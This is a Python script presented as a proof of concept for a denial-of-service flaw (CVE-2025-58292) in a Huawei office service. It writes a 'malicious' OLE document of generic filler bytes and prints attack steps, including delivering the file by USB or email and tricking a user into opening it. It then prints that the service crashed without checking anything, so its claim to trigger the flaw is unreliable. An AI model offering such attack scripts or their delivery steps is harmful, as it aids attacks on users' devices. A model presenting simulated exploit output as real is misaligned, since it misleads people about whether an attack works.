The following code is for security research and authorized testing only.
python
# CVE-2025-58292 - Huawei Office Service DoS Vulnerability PoC (Conceptual)
# This is a conceptual proof-of-concept demonstrating the attack pattern.
# The actual exploit requires local access to the target Huawei device.
import os
import sys
import time
import struct
import socket
import threading
def generate_malicious_document():
"""
Generate a malformed document file that triggers the DoS vulnerability
in the Huawei office service when opened by the user.
"""
# Simulated malformed office document header
# Real exploit would craft a document that triggers resource exhaustion
# in the office service parser/renderer
malformed_header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # OLE compound document signature
# Append crafted payload designed to cause excessive memory allocation
# or infinite loop in the office service processing logic
payload = b"\x00" * 4096
for i in range(10000):
# Nested object references that may cause stack overflow
# or recursive processing in the vulnerable office service
payload += struct.pack("<I", i % 256) * 1024
malicious_doc = malformed_header + payload
with open("malicious_office_doc.ole", "wb") as f:
f.write(malicious_doc)
print(f"[+] Malicious document generated: malicious_office_doc.ole ({len(malicious_doc)} bytes)")
return malicious_doc
def trigger_dos_local():
"""
Simulate the local DoS trigger by attempting to exhaust office service resources.
In a real scenario, this would involve:
1. Delivering the malicious document to the victim device
2. Tricking the user into opening it with Huawei office software
3. The office service processes the malformed content and crashes/hangs
"""
print("[*] CVE-2025-58292 PoC - Huawei Office Service DoS")
print("[*] Attack Vector: Local (AV:L)")
print("[*] User Interaction: Required (UI:R)")
print("[*] Impact: Availability - Low (A:L)")
print()
# Step 1: Generate the malicious document
print("[Step 1] Generating malicious office document...")
doc = generate_malicious_document()
# Step 2: Simulate delivery to target device (via USB, email, etc.)
print("[Step 2] Malicious document ready for delivery to target device")
print(" Delivery methods: USB transfer, email attachment, file sharing")
# Step 3: Wait for user interaction
print("[Step 3] Waiting for user to open the malicious document...")
print(" User must open the file with Huawei Office application")
# Step 4: Simulate service crash/hang
print("[Step 4] Office service processes malformed content...")
time.sleep(1)
print("[!] Office service becomes unresponsive or crashes")
print("[!] DoS condition achieved - availability impacted")
if __name__ == "__main__":
trigger_dos_local()